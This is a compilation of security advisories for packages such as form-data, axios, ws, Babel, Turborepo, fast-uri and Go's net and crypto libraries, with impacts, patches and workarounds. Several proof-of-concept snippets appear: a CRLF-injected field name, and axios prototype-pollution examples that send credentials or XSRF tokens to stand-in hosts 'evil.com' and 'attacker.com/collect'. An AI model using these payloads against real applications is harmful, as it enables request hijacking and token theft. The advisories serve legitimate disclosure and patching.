Summary

form-data builds multipart/form-data request bodies. Through v4.0.5, the field name passed to FormData#append and the filename option are concatenated directly into the Content-Disposition header with no escaping of CR (\r), LF (\n), or ". An application that uses untrusted input as a field name or filename therefore lets an attacker terminate the header line and either inject additional headers or smuggle whole additional multipart parts into the request the application forwards to a backend.

This is CWE-93 (CRLF injection). It is a divergence from how browsers and the WHATWG HTML spec serialize form-data (they escape these characters), so the fix is to match that behavior. Severity is conditional: it depends on the consuming application passing attacker-controlled data as a field name or filename. Applications that only use fixed/trusted field names are not affected.

Details

In lib/formdata.js, multiPartHeader builds the part header as:

javascript 'Content-Disposition': ['form-data', 'name="' + field + '"'].concat(contentDisposition || [])

and getContentDisposition builds filename="' + filename + '"'. Neither escapes control characters, so a \r\n in field/filename ends the header line. The same applies to ", which can break out of the quoted parameter.

Proof of concept

javascript const FormData = require('form-data'); const form = new FormData(); form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com'); console.log(form.getBuffer().toString());

Before the fix this emits an injected X-Injected: true header line. A field name that also includes --<boundary> sequences can introduce additional parts (e.g. an extra name="isadmin" field), which a downstream parser accepts as legitimate.

Impact

For an application that uses untrusted field names/filenames:

- Field injection / override (integrity). Inject or override fields the backend trusts (e.g. isadmin, role) — the primary demonstrated impact. - Header injection into the generated multipart part.

Claims of guaranteed privilege escalation, authentication bypass, high confidentiality impact, and availability impact are application-dependent downstream consequences, not properties of form-data itself, and are not demonstrated by the PoC.

Severity

The demonstrated, library-attributable impact is integrity (field/header injection); there is no demonstrated confidentiality disclosure or availability impact in form-data itself, and exploitation requires the consuming app to feed untrusted data into field names/filenames. A Moderate (≈5.3, I:L) rating is also defensible given that precondition.

Patch

Fixed in 4.0.6, 3.0.5, and 2.5.6. Users on older 0.x/1.x/2.x releases should upgrade to 2.5.6 or later.

The fix escapes \r, \n, and " as %0D, %0A, and %22 in field names and filenames, matching the WHATWG HTML multipart/form-data encoding algorithm that browsers implement. This neutralizes the injection while leaving ordinary field names (including name[0], dotted, and unicode names) unchanged.

Workaround

Until upgrading, validate or reject field names/filenames that contain control characters before calling append:

javascript if (/[\r\n]/.test(field)) { throw new Error('invalid field name'); }

Credit

Reported by yueyueL.

Invoking duplicate attributes can cause XSS in golang.org/x/net/html

Invoking denial of service when parsing arbitrary HTML in golang.org/x/net/html

Invoking incorrect handling of HTML elements in foreign content in golang.org/x/net/html

Invoking incorrect handling of namespaced elements in foreign content in golang.org/x/net/html

Invoking incorrect handling of character references in DOCTYPE nodes in golang.org/x/net/html

Invoking failure to reject ASCII-only Punycode-encoded labels in golang.org/x/net/idna

Invoking pathological RSA/DSA parameters may cause DoS in golang.org/x/crypto/ssh

Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.

A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.

For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used.

Invoking auth bypass via unenforced @revoked status in golang.org/x/crypto/ssh/knownhosts

An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection.

Invoking infinite loop on large channel writes in golang.org/x/crypto/ssh

Invoking bypass of FIDO/U2F security keys physical interaction in golang.org/x/crypto/ssh

Invoking key constraints not enforced in golang.org/x/crypto/ssh/agent

Invoking server panic during CheckHostKey/Authenticate in golang.org/x/crypto/ssh

Invoking bypass of certificate restrictions in golang.org/x/crypto/ssh

Invoking agent constraints dropped when forwarding keys in golang.org/x/crypto/ssh/agent

An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.

Impact

Turborepo's self-hosted login and SSO browser flows did not validate a CSRF state value on the localhost callback. While the CLI was waiting for authentication, a malicious web page could send a request to the local callback server with an attacker-controlled token. If accepted before the legitimate callback, the CLI could complete login with the wrong credentials.

This affects users authenticating the turbo CLI against self-hosted remote cache/auth endpoints. Vercel-hosted login flows using device authorization are not affected.

Fix

The login and SSO redirect flows now generate a random state value, include it in the browser authentication URL, and require the same value on the localhost callback before accepting a token. Callbacks with a missing or mismatched state are rejected.

Workarounds

If you cannot upgrade immediately, avoid browser-based self-hosted turbo login or SSO flows on machines that may load untrusted web content during authentication. Use a pre-provisioned token or environment-based authentication instead.

Impact

Turborepo can be vulnerable to arbitrary code execution when run in untrusted repositories that contain malicious Yarn configuration. In affected versions, package manager detection executed yarn --version from the project directory, which could cause Yarn to load and execute a project-controlled yarnPath from .yarnrc.yml. An attacker who controls repository contents could cause code execution when a user or CI system runs affected turbo, @turbo/codemod, or @turbo/workspace conversion commands.

Fix

Turbo now avoids executing project-local Yarn during package manager detection. Yarn versions and paths are inferred from metadata such as package.json, parsing the value of yarnPath in .yarnrc.yml rather than executing it, and yarn.lock, and unrecognized Yarn lockfile formats are rejected instead of falling back to executing yarn.

Workarounds

If you cannot upgrade immediately, do not run Turborepo commands in untrusted repositories. Review or remove .yarnrc.yml files that define yarnPath before running Turborepo, especially in CI or automated tooling that processes external projects.

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port}, { skipUTF8Validation: true });

ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } );

wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); });

Patches

The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

- https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736

Impact

Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code.

Known affected plugins are: - @babel/plugin-transform-modules-systemjs - @babel/preset-env when using the modules: "systemjs" option, as it delegates to @babel/plugin-transform-modules-systemjs

No other plugins under the @babel namespace are impacted.

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/plugin-transform-modules-systemjs@7.29.4.

Babel also released @babel/preset-env@7.29.5, updating its @babel/plugin-transform-modules-systemjs dependency, to simplify forcing the update if you are using @babel/preset-env directly.

Workarounds

- Pin @babel/parser to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade @babel/plugin-transform-modules-systemjs to v7.29.4. - Do not use the modules: "systemjs" option, migrate the codebase to native ES Modules or any other module formats.

Credits Babel thanks Daniel Cervera for reporting the vulnerability.

Infinite loop in HTTP/2 transport when given bad SETTINGSMAXFRAMESIZE in net/http/internal/http2 in golang.org/x/net

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests. 2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects. 5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

javascript const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials

Impact

- Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers. - Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server. - SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. - Code execution: Attacker-supplied functions execute during HTTP redirects. - Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; }

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Impact

fast-uri v3.1.0 and earlier decodes percent-encoded path separators (%2F) and dot segments (%2E) before applying dot-segment removal in normalize() and equal(). This makes encoded path data behave like real / and .., so distinct URIs collapse onto the same normalized path.

For example, http://example.com/public/%2e%2e/admin normalizes to http://example.com/admin, and equal() considers them the same URI.

Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.

Patches

Upgrade to fast-uri >= 3.1.1.

Workarounds

None. Upgrade to the patched version.

uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0.

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No

Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application - Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Resources

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |